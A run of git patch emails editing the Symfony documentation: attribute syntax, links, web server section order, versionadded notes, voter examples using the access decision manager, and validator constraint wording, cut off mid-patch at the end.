From 1a72556ae9bc4cc769fac8e81d950fc0afb2c6ca Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Maxime=20H=C3=A9lias?= <maximehelias16@gmail.com>
Date: Thu, 7 Nov 2024 13:26:14 +0100
Subject: [PATCH 5137/5766] [DependencyInjection] fix attribute first element

---
 service_container/service_decoration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 97c4c25090b..0f75b5284c8 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -630,7 +630,7 @@ Three different behaviors are available:
             class Bar
             {
                 public function __construct(
-                    private #[AutowireDecorated] $inner,
+                    #[AutowireDecorated] private $inner,
                 ) {
                 }
 

From 590225c3e7ef97c3fbdaac09f19e430d4d0a2423 Mon Sep 17 00:00:00 2001
From: "Phil E. Taylor" <phil@phil-taylor.com>
Date: Wed, 6 Nov 2024 15:26:00 +0000
Subject: [PATCH 5138/5766] Update link to PHP docs

---
 controller.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index f34507fc68b..c38836ce8f6 100644
--- a/controller.rst
+++ b/controller.rst
@@ -846,6 +846,6 @@ Learn more about Controllers
 .. _`Early hints`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/103
 .. _`SAPI`: https://www.php.net/manual/en/function.php-sapi-name.php
 .. _`FrankenPHP`: https://frankenphp.dev
-.. _`Validate Filters`: https://www.php.net/manual/en/filter.filters.validate.php
+.. _`Validate Filters`: https://www.php.net/manual/en/filter.constants.php
 .. _`phpstan/phpdoc-parser`: https://packagist.org/packages/phpstan/phpdoc-parser
 .. _`phpdocumentor/type-resolver`: https://packagist.org/packages/phpdocumentor/type-resolver

From 98197e2ef801dba45e903700883e2e6143151816 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 7 Nov 2024 16:27:41 +0100
Subject: [PATCH 5139/5766] Update web_server_configuration.rst: Movin nginx
 above Apache

Page: https://symfony.com/doc/current/setup/web_server_configuration.html

Reason: IMO nginx is more widely used nowadays.
---
 setup/web_server_configuration.rst | 108 ++++++++++++++---------------
 1 file changed, 54 insertions(+), 54 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index e5a0c9e7fd9..f8f4bd76606 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -49,60 +49,6 @@ listen on. Each pool can also be run under a different UID and GID:
     ; or listen on a TCP connection
     ; listen = 127.0.0.1:9000
 
-Apache
-------
-
-If you are running Apache 2.4+, you can use ``mod_proxy_fcgi`` to pass
-incoming requests to PHP-FPM. Install the Apache2 FastCGI mod
-(``libapache2-mod-fastcgi`` on Debian), enable ``mod_proxy`` and
-``mod_proxy_fcgi`` in your Apache configuration, and use the ``SetHandler``
-directive to pass requests for PHP files to PHP FPM:
-
-.. code-block:: apache
-
-    # /etc/apache2/conf.d/example.com.conf
-    <VirtualHost *:80>
-        ServerName example.com
-        ServerAlias www.example.com
-
-        # Uncomment the following line to force Apache to pass the Authorization
-        # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI
-        #
-        # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1
-
-        <FilesMatch \.php$>
-            # when using PHP-FPM as a unix socket
-            SetHandler proxy:unix:/var/run/php/php8.3-fpm.sock|fcgi://dummy
-
-            # when PHP-FPM is configured to use TCP
-            # SetHandler proxy:fcgi://127.0.0.1:9000
-        </FilesMatch>
-
-        DocumentRoot /var/www/project/public
-        <Directory /var/www/project/public>
-            AllowOverride None
-            Require all granted
-            FallbackResource /index.php
-        </Directory>
-
-        # uncomment the following lines if you install assets as symlinks
-        # or run into problems when compiling LESS/Sass/CoffeeScript assets
-        # <Directory /var/www/project>
-        #     Options FollowSymlinks
-        # </Directory>
-
-        ErrorLog /var/log/apache2/project_error.log
-        CustomLog /var/log/apache2/project_access.log combined
-    </VirtualHost>
-
-.. note::
-
-    If you are doing some quick tests with Apache, you can also run
-    ``composer require symfony/apache-pack``. This package creates an ``.htaccess``
-    file in the ``public/`` directory with the necessary rewrite rules needed to serve
-    the Symfony application. However, in production, it's recommended to move these
-    rules to the main Apache configuration file (as shown above) to improve performance.
-
 Nginx
 -----
 
@@ -190,6 +136,60 @@ The **minimum configuration** to get your application running under Nginx is:
 
 For advanced Nginx configuration options, read the official `Nginx documentation`_.
 
+Apache
+------
+
+If you are running Apache 2.4+, you can use ``mod_proxy_fcgi`` to pass
+incoming requests to PHP-FPM. Install the Apache2 FastCGI mod
+(``libapache2-mod-fastcgi`` on Debian), enable ``mod_proxy`` and
+``mod_proxy_fcgi`` in your Apache configuration, and use the ``SetHandler``
+directive to pass requests for PHP files to PHP FPM:
+
+.. code-block:: apache
+
+    # /etc/apache2/conf.d/example.com.conf
+    <VirtualHost *:80>
+        ServerName example.com
+        ServerAlias www.example.com
+
+        # Uncomment the following line to force Apache to pass the Authorization
+        # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI
+        #
+        # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1
+
+        <FilesMatch \.php$>
+            # when using PHP-FPM as a unix socket
+            SetHandler proxy:unix:/var/run/php/php8.3-fpm.sock|fcgi://dummy
+
+            # when PHP-FPM is configured to use TCP
+            # SetHandler proxy:fcgi://127.0.0.1:9000
+        </FilesMatch>
+
+        DocumentRoot /var/www/project/public
+        <Directory /var/www/project/public>
+            AllowOverride None
+            Require all granted
+            FallbackResource /index.php
+        </Directory>
+
+        # uncomment the following lines if you install assets as symlinks
+        # or run into problems when compiling LESS/Sass/CoffeeScript assets
+        # <Directory /var/www/project>
+        #     Options FollowSymlinks
+        # </Directory>
+
+        ErrorLog /var/log/apache2/project_error.log
+        CustomLog /var/log/apache2/project_access.log combined
+    </VirtualHost>
+
+.. note::
+
+    If you are doing some quick tests with Apache, you can also run
+    ``composer require symfony/apache-pack``. This package creates an ``.htaccess``
+    file in the ``public/`` directory with the necessary rewrite rules needed to serve
+    the Symfony application. However, in production, it's recommended to move these
+    rules to the main Apache configuration file (as shown above) to improve performance.
+
 Caddy
 -----
 

From 0a2d1589e3fcf93e87cc063d7aa77139b2b70a41 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Nov 2024 16:41:27 +0100
Subject: [PATCH 5140/5766] [DependencyInjection] fix attribute first element

---
 service_container/service_decoration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 97c4c25090b..0f75b5284c8 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -630,7 +630,7 @@ Three different behaviors are available:
             class Bar
             {
                 public function __construct(
-                    private #[AutowireDecorated] $inner,
+                    #[AutowireDecorated] private $inner,
                 ) {
                 }
 

From 970d37b45d9b609376ce7c77f8a8384d954f509f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Nov 2024 16:47:56 +0100
Subject: [PATCH 5141/5766] Add the versionadded directives

---
 components/config/definition.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 05f64497a66..4e99fb4f6a7 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -92,6 +92,10 @@ reflect the real structure of the configuration values::
         ->end()
     ;
 
+.. versionadded:: 7.2
+
+    The ``stringNode()`` method was introduced in Symfony 7.2.
+
 The root node itself is an array node, and has children, like the boolean
 node ``auto_connect`` and the scalar node ``default_connection``. In general:
 after defining a node, a call to ``end()`` takes you one step up in the
@@ -116,6 +120,10 @@ node definition. Node types are available for:
 and are created with ``node($name, $type)`` or their associated shortcut
 ``xxxxNode($name)`` method.
 
+.. versionadded::
+
+    Support for ``string`` types was introduced in Symfony 7.2.
+
 Numeric Node Constraints
 ~~~~~~~~~~~~~~~~~~~~~~~~
 

From 92cb40ec42a1ed4f42b9ed5aa568717df3ebb1de Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 8 Nov 2024 01:31:59 +0100
Subject: [PATCH 5142/5766] Update mercure.rst: Moving tip about debugger
 upwards

Page: https://symfony.com/doc/5.x/mercure.html#subscribing

Reason: This belongs to the code block, not to the DevTools screenshot.
---
 mercure.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 1cc413e6c5a..ec0a3dfd042 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -306,6 +306,10 @@ as patterns:
     }
     </script>
 
+.. tip::
+
+    Test if a URI Template matches a URL using `the online debugger`_
+
 .. tip::
 
     Google Chrome DevTools natively integrate a `practical UI`_ displaying in live
@@ -321,10 +325,6 @@ as patterns:
     * click on the request to the Mercure hub
     * click on the "EventStream" sub-tab.
 
-.. tip::
-
-    Test if a URI Template match a URL using `the online debugger`_
-
 Discovery
 ---------
 

From 7eb2264b2f1dff013aed0a9ffd32c6974f3f1270 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 8 Nov 2024 14:45:59 +0100
Subject: [PATCH 5143/5766] fix versionadded directive

---
 components/config/definition.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 4e99fb4f6a7..0db9923a340 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -120,9 +120,9 @@ node definition. Node types are available for:
 and are created with ``node($name, $type)`` or their associated shortcut
 ``xxxxNode($name)`` method.
 
-.. versionadded::
+.. versionadded:: 7.2
 
-    Support for ``string`` types was introduced in Symfony 7.2.
+    Support for the ``string`` type was introduced in Symfony 7.2.
 
 Numeric Node Constraints
 ~~~~~~~~~~~~~~~~~~~~~~~~

From 626d56ef5863b08a206196cb089a1d2c2557339c Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 9 Nov 2024 11:08:20 +0100
Subject: [PATCH 5144/5766] remove note about the reverted Default group change

---
 serializer.rst | 12 ------------
 1 file changed, 12 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 91fd92a39a3..bfd838bc4bb 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -385,18 +385,6 @@ stored in one of the following locations:
 * All ``*.yaml`` and ``*.xml`` files in the ``Resources/config/serialization/``
   directory of a bundle.
 
-.. note::
-
-    The groups used by default when normalizing and denormalizing objects are
-    ``Default`` and the group that matches the class name. For example, if you
-    are normalizing a ``App\Entity\Product`` object, the groups used are
-    ``Default`` and ``Product``.
-
-    .. versionadded:: 7.1
-
-        The default use of the class name and ``Default`` groups when normalizing
-        and denormalizing objects was introduced in Symfony 7.1.
-
 .. _serializer-enabling-metadata-cache:
 
 Using Nested Attributes

From 8ed98d3230446e82ee5dab677dc0afc8a9c53f66 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 11 Nov 2024 17:44:07 +0100
Subject: [PATCH 5145/5766] add a missing value in MacAdress constraint

---
 reference/constraints/MacAddress.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst
index 59adffe7c11..9a282ddf118 100644
--- a/reference/constraints/MacAddress.rst
+++ b/reference/constraints/MacAddress.rst
@@ -132,6 +132,7 @@ Parameter                         Allowed MAC addresses
 ``multicast_no_broadcast``        Only multicast except broadcast
 ``unicast_all``                   Only unicast
 ``universal_all``                 Only universal
+``universal_unicast``             Only universal and unicast
 ``universal_multicast``           Only universal and multicast
 ================================  =========================================
 

From f40f01b78d41fbf7ee52a6f5aba26d866f08129d Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 11 Nov 2024 17:22:23 +0100
Subject: [PATCH 5146/5766] [Validator] Improve type for the `mode` property of
 the `Bic` constraint

---
 reference/constraints/Bic.rst | 15 +++++----------
 1 file changed, 5 insertions(+), 10 deletions(-)

diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 3f05e5eac25..313de3bdbbf 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -124,18 +124,13 @@ Parameter        Description
 ``mode``
 ~~~~~~~~
 
-**type**: ``string`` **default**: ``strict``
+**type**: ``string`` **default**: ``BIC::VALIDATION_MODE_STRICT``
 
-This option defines how the BIC is validated:
+This option defines how the BIC is validated. Available constants are defined
+in the :class:`Symfony\\Component\\Validator\\Constraints\\BIC` class.
 
-* ``strict`` validates the given value without any modification;
-* ``case-insensitive`` converts the given value to uppercase before validating it.
-
-.. tip::
-
-    The possible values of this option are also defined as PHP constants of
-    :class:`Symfony\\Component\\Validator\\Constraints\\BIC`
-    (e.g. ``BIC::VALIDATION_MODE_CASE_INSENSITIVE``).
+* ``BIC::VALIDATION_MODE_STRICT`` validates the given value without any modification;
+* ``BIC::VALIDATION_MODE_CASE_INSENSITIVE`` converts the given value to uppercase before validating it.
 
 .. versionadded:: 7.2
 

From bc8c2d222b0f89f92f630ac4de7e5674f9e11a35 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 13 Nov 2024 17:10:23 +0100
Subject: [PATCH 5147/5766] Minor tweaks

---
 reference/constraints/Bic.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 313de3bdbbf..6cde4a11bac 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -124,13 +124,13 @@ Parameter        Description
 ``mode``
 ~~~~~~~~
 
-**type**: ``string`` **default**: ``BIC::VALIDATION_MODE_STRICT``
+**type**: ``string`` **default**: ``Bic::VALIDATION_MODE_STRICT``
 
-This option defines how the BIC is validated. Available constants are defined
-in the :class:`Symfony\\Component\\Validator\\Constraints\\BIC` class.
+This option defines how the BIC is validated. The possible values are available
+as constants in the :class:`Symfony\\Component\\Validator\\Constraints\\Bic` class:
 
-* ``BIC::VALIDATION_MODE_STRICT`` validates the given value without any modification;
-* ``BIC::VALIDATION_MODE_CASE_INSENSITIVE`` converts the given value to uppercase before validating it.
+* ``Bic::VALIDATION_MODE_STRICT`` validates the given value without any modification;
+* ``Bic::VALIDATION_MODE_CASE_INSENSITIVE`` converts the given value to uppercase before validating it.
 
 .. versionadded:: 7.2
 

From 40058d823673436e935308a05acd87db028fbb7c Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 14 Nov 2024 08:39:36 +0100
Subject: [PATCH 5148/5766] the TypeInfo component is no longer experimental

---
 components/type_info.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 30ae11aa222..f46c8f8ab3a 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -11,11 +11,6 @@ This component provides:
 * A way to get types from PHP elements such as properties, method arguments,
   return types, and raw strings.
 
-.. caution::
-
-    This component is :doc:`experimental </contributing/code/experimental>` and
-    could be changed at any time without prior notice.
-
 Installation
 ------------
 

From fc0030a5c508300860d9bdeb3db01e499b3c2bcc Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 13 Nov 2024 09:58:23 +0100
Subject: [PATCH 5149/5766] use access decision manager to control which token
 to vote on

---
 security/impersonating_user.rst | 12 ++++++------
 security/voters.rst             | 16 ++++++++--------
 2 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 36232243e1f..ffcab67194e 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -309,17 +309,17 @@ logic you want::
     namespace App\Security\Voter;
 
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Authorization\AccessDecisionManagerInterface;
     use Symfony\Component\Security\Core\Authorization\Voter\Voter;
-    use Symfony\Component\Security\Core\Security;
     use Symfony\Component\Security\Core\User\UserInterface;
 
     class SwitchToCustomerVoter extends Voter
     {
-        private $security;
+        private $accessDecisionManager;
 
-        public function __construct(Security $security)
+        public function __construct(AccessDecisionManager $accessDecisionManager)
         {
-            $this->security = $security;
+            $this->accessDecisionManager = $accessDecisionManager;
         }
 
         protected function supports($attribute, $subject): bool
@@ -337,12 +337,12 @@ logic you want::
             }
 
             // you can still check for ROLE_ALLOWED_TO_SWITCH
-            if ($this->security->isGranted('ROLE_ALLOWED_TO_SWITCH')) {
+            if ($this->accessDecisionManager->isGranted($token, ['ROLE_ALLOWED_TO_SWITCH'])) {
                 return true;
             }
 
             // check for any roles you want
-            if ($this->security->isGranted('ROLE_TECH_SUPPORT')) {
+            if ($this->accessDecisionManager->isGranted($token, ['ROLE_TECH_SUPPORT'])) {
                 return true;
             }
 
diff --git a/security/voters.rst b/security/voters.rst
index a770e386c02..acab7ff65f6 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -222,25 +222,25 @@ Checking for Roles inside a Voter
 ---------------------------------
 
 What if you want to call ``isGranted()`` from *inside* your voter - e.g. you want
-to see if the current user has ``ROLE_SUPER_ADMIN``. That's possible by injecting
-the :class:`Symfony\\Component\\Security\\Core\\Security`
-into your voter. You can use this to, for example, *always* allow access to a user
+to see if the current user has ``ROLE_SUPER_ADMIN``. That's possible by using an
+:class:`access decision manager <Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManagerInterface>`
+inside your voter. You can use this to, for example, *always* allow access to a user
 with ``ROLE_SUPER_ADMIN``::
 
     // src/Security/PostVoter.php
 
     // ...
-    use Symfony\Component\Security\Core\Security;
+    use Symfony\Component\Security\Core\Authorization\AccessDecisionManagerInterface;
 
     class PostVoter extends Voter
     {
         // ...
 
-        private $security;
+        private $accessDecisionManager;
 
-        public function __construct(Security $security)
+        public function __construct(AccessDecisionManagerInterface $accessDecisionManager)
         {
-            $this->security = $security;
+            $this->accessDecisionManager = $accessDecisionManager;
         }
 
         protected function voteOnAttribute($attribute, $subject, TokenInterface $token): bool
@@ -248,7 +248,7 @@ with ``ROLE_SUPER_ADMIN``::
             // ...
 
             // ROLE_SUPER_ADMIN can do anything! The power!
-            if ($this->security->isGranted('ROLE_SUPER_ADMIN')) {
+            if ($this->accessDecisionManager->isGranted($token, ['ROLE_SUPER_ADMIN'])) {
                 return true;
             }
 

From 8b9ca6f5e9c1c4964cebc08b35de6344f5902870 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 16 Nov 2024 10:22:58 +0100
Subject: [PATCH 5150/5766] remove documentation about no longer existing
 getBaseType() method

---
 components/type_info.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index f46c8f8ab3a..bbc7d0ea8dc 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -58,12 +58,6 @@ based on reflection or a simple string::
 
     // Type instances have several helper methods
 
-    // returns the main type (e.g. in this example it returns an "array" Type instance);
-    // for nullable types (e.g. string|null) it returns the non-null type (e.g. string)
-    // and for compound types (e.g. int|string) it throws an exception because both types
-    // can be considered the main one, so there's no way to pick one
-    $baseType = $type->getBaseType();
-
     // for collections, it returns the type of the item used as the key;
     // in this example, the collection is a list, so it returns an "int" Type instance
     $keyType = $type->getCollectionKeyType();

From 4eed10be822e64078281704b91b404b8803d2d3d Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 18 Nov 2024 09:44:26 +0100
Subject: [PATCH 5151/5766] mailersend support webhook

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 6527fecaa16..b8421cc6d26 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -107,7 +107,7 @@ Service               Install with                                    Webhook su
 `Mailgun`_            ``composer require symfony/mailgun-mailer``     yes
 `Mailjet`_            ``composer require symfony/mailjet-mailer``     yes
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
-`MailerSend`_         ``composer require symfony/mailer-send-mailer``
+`MailerSend`_         ``composer require symfony/mailer-send-mailer`` yes
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``    yes
 `Resend`_             ``composer require symfony/resend-mailer``      yes

From 7caf0dc9291186e3139738188b0ba827274d6745 Mon Sep 17 00:00:00 2001
From: lacatoire <louis-arnaud.catoire@external.drivalia.com>
Date: Mon, 18 Nov 2024 11:08:55 +0100
Subject: [PATCH 5152/5766] Clarify documentation about differences between
 AutowireIterator and AutowireLocator

---
 .../service_subscribers_locators.rst          | 49 +++++++++++++++----
 1 file changed, 39 insertions(+), 10 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index da5cb415800..ada84158fcc 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -381,19 +381,48 @@ attribute::
     :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
     attribute was introduced in Symfony 6.4.
 
-.. note::
+The AutowireIterator Attribute
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Variant of the ``AutowireLocator`` that specifically provides an iterable of services
+based on a tag. This allows you to collect all services with a particular tag into
+an iterable, which can be useful when you need to iterate over a set of services
+rather than retrieving them individually.
 
-    To receive an iterable instead of a service locator, you can switch the
-    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
-    attribute to
-    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
-    attribute.
+For example, if you want to collect all the handlers for different command types,
+you can use the ``AutowireIterator`` attribute to automatically inject all services
+tagged with a specific tag::
+
+    // src/CommandBus.php
+    namespace App;
+
+    use App\CommandHandler\BarHandler;
+    use App\CommandHandler\FooHandler;
+    use Psr\Container\ContainerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
+
+    class CommandBus
+    {
+        public function __construct(
+            #[AutowireIterator('command_handler')]
+            private iterable $handlers, // Collects all services tagged with 'command_handler'
+        ) {
+        }
 
-    .. versionadded:: 6.4
+        public function handle(Command $command): mixed
+        {
+            foreach ($this->handlers as $handler) {
+                if ($handler->supports($command)) {
+                    return $handler->handle($command);
+                }
+            }
+        }
+    }
+
+.. versionadded:: 6.4
 
-        The
-        :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
-        attribute was introduced in Symfony 6.4.
+    The
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
+    attribute was introduced in Symfony 6.4.
 
 .. _service-subscribers-locators_defining-service-locator:
 

From c9b77efec4d0a5244e85559b56647792b685d08a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Nov 2024 10:16:46 +0100
Subject: [PATCH 5153/5766] Add some informacion about why not using the
 Security service

---
 security/voters.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/security/voters.rst b/security/voters.rst
index acab7ff65f6..2298fb155fd 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -256,6 +256,25 @@ with ``ROLE_SUPER_ADMIN``::
         }
     }
 
+.. caution::
+
+    In the previous example, avoid using the following code to check if a role
+    is granted permission::
+
+        // DON'T DO THIS
+        use Symfony\Component\Security\Core\Security;
+        // ...
+
+        if ($this->security->isGranted('ROLE_SUPER_ADMIN')) {
+            // ...
+        }
+
+        The ``Security::isGranted()`` method inside a voter has a significant
+        drawback: it does not guarantee that the checks are performed on the same
+        token as the one in your voter. The token in the token storage might have
+        changed or could change in the meantime. Always use the ``AccessDecisionManager``
+        instead.
+
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 you're done! Symfony will automatically pass the ``security.helper``
 service when instantiating your voter (thanks to autowiring).

From 57857d5a8894761c8c7b6c029bef91d071efc5ab Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Nov 2024 11:28:39 +0100
Subject: [PATCH 5154/5766] Fix a minor syntax issue

---
 security/voters.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 2298fb155fd..5ba258cd19a 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -269,11 +269,11 @@ with ``ROLE_SUPER_ADMIN``::
             // ...
         }
 
-        The ``Security::isGranted()`` method inside a voter has a significant
-        drawback: it does not guarantee that the checks are performed on the same
-        token as the one in your voter. The token in the token storage might have
-        changed or could change in the meantime. Always use the ``AccessDecisionManager``
-        instead.
+    The ``Security::isGranted()`` method inside a voter has a significant
+    drawback: it does not guarantee that the checks are performed on the same
+    token as the one in your voter. The token in the token storage might have
+    changed or could change in the meantime. Always use the ``AccessDecisionManager``
+    instead.
 
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 you're done! Symfony will automatically pass the ``security.helper``

From b6b649481ed58adab056dac223a6a5ffdde6c368 Mon Sep 17 00:00:00 2001
From: Hugo Posnic <hugo.posnic@protonmail.com>
Date: Mon, 18 Nov 2024 18:03:22 +0100
Subject: [PATCH 5155/5766] Duplicate a note useful for varnish

---
 http_cache/varnish.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index 3c1fa6d5346..1bc77530c70 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -44,6 +44,12 @@ header. In this case, you need to add the following configuration snippet:
         }
     }
 
+.. note::
+
+    Forcing HTTPS while using a reverse proxy or load balancer requires a proper
+    configuration to avoid infinite redirect loops; see :doc:`/deployment/proxies`
+    for more details.
+
 Cookies and Caching
 -------------------
 

From 97599f7235111038662161fb171742e49033bb60 Mon Sep 17 00:00:00 2001
From: Oliver Kossin <oliver.kossin@massiveart.com>
Date: Tue, 19 Nov 2024 15:37:56 +0100
Subject: [PATCH 5156/5766] Fix isGranted to decide

---
 security/impersonating_user.rst | 4 ++--
 security/voters.rst             | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index ffcab67194e..f74528cfb89 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -337,12 +337,12 @@ logic you want::
             }
 
             // you can still check for ROLE_ALLOWED_TO_SWITCH
-            if ($this->accessDecisionManager->isGranted($token, ['ROLE_ALLOWED_TO_SWITCH'])) {
+            if ($this->accessDecisionManager->decide($token, ['ROLE_ALLOWED_TO_SWITCH'])) {
                 return true;
             }
 
             // check for any roles you want
-            if ($this->accessDecisionManager->isGranted($token, ['ROLE_TECH_SUPPORT'])) {
+            if ($this->accessDecisionManager->decide($token, ['ROLE_TECH_SUPPORT'])) {
                 return true;
             }
 
diff --git a/security/voters.rst b/security/voters.rst
index 5ba258cd19a..5019638fdf4 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -248,7 +248,7 @@ with ``ROLE_SUPER_ADMIN``::
             // ...
 
             // ROLE_SUPER_ADMIN can do anything! The power!
-            if ($this->accessDecisionManager->isGranted($token, ['ROLE_SUPER_ADMIN'])) {
+            if ($this->accessDecisionManager->decide($token, ['ROLE_SUPER_ADMIN'])) {
                 return true;
             }
 

From 8905736ce78696955e5d8ae59321e5ebd2fda417 Mon Sep 17 00:00:00 2001
From: Florian Merle <florian.david.merle@gmail.com>
Date: Thu, 21 Nov 2024 17:23:17 +0100
Subject: [PATCH 5157/5766] Fix error_pages.rst setResponse()

---
 controller/error_pages.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 6a8b343ceca..0341c30e941 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -319,7 +319,7 @@ error pages.
 
 .. note::
 
-    If your listener calls ``setThrowable()`` on the
+    If your listener calls ``setResponse()`` on the
     :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`
     event, propagation will be stopped and the response will be sent to
     the client.

From bb7702481c4e3720795e06415cb450a96a3c993d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Nov 2024 16:21:09 +0100
Subject: [PATCH 5158/5766] Use non-static PHPUnit assert methods

---
 components/clock.rst |  6 +++---
 http_client.rst      | 12 ++++++------
 2 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index f58124c70af..1ae56775b77 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -143,18 +143,18 @@ is expired or not, by modifying the clock's time::
             $validUntil = new DateTimeImmutable('2022-11-16 15:25:00');
 
             // $validUntil is in the future, so it is not expired
-            static::assertFalse($expirationChecker->isExpired($validUntil));
+            $this->assertFalse($expirationChecker->isExpired($validUntil));
 
             // Clock sleeps for 10 minutes, so now is '2022-11-16 15:30:00'
             $clock->sleep(600); // Instantly changes time as if we waited for 10 minutes (600 seconds)
 
             // modify the clock, accepts all formats supported by DateTimeImmutable::modify()
-            static::assertTrue($expirationChecker->isExpired($validUntil));
+            $this->assertTrue($expirationChecker->isExpired($validUntil));
 
             $clock->modify('2022-11-16 15:00:00');
 
             // $validUntil is in the future again, so it is no longer expired
-            static::assertFalse($expirationChecker->isExpired($validUntil));
